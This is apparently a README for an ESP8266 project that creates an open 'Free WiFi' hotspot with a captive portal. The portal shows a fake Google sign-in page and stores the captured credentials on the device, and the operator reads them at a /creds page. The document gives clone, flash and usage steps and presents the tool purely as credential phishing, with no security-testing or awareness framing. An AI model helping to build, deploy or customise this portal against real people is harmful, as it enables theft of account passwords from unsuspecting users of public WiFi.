WiFi Captive Portal

About The Project

This project creates a WiFi captive portal with a Google-style fake sign-in page. It captures user credentials and stores them in SPIFFS.

Built With

• ESP8266WiFi
• DNSServer
• ESP8266WebServer
• SPIFFS

Getting Started

To get a local copy up and running, follow these simple steps.

Prerequisites

• Arduino IDE
• ESP8266 board package installed in Arduino IDE

Installation

1. Clone the repo

   git clone https://github.com/disalad/ESP8266-Captive-Portal.git

2. Open the project in Arduino IDE

3. Select the correct board and port for your ESP8266 device

4. Upload the code to your ESP8266

File Upload

1. Install the ESP8266 Sketch Data Upload tool

2. Upload the data folder contents to SPIFFS

   Tools > ESP8266 Sketch Data Upload

Usage

• Once deployed, connect to the WiFi network created by the ESP8266.

• A fake Google sign-in page will be displayed upon opening any webpage.

• Entered credentials will be saved in SPIFFS.

• To view saved credentials, navigate to:

  http://172.0.0.1/creds
  

• The WiFi network SSID (name) can be modified by changing the following line in captive_portal.ino:

  #define SSID_NAME "Free WiFi"

Credits

• https://github.com/adamff1/ESP8266-Captive-Portal

Contact

Project Link: https://github.com/disalad/ESP8266-Captive-Portal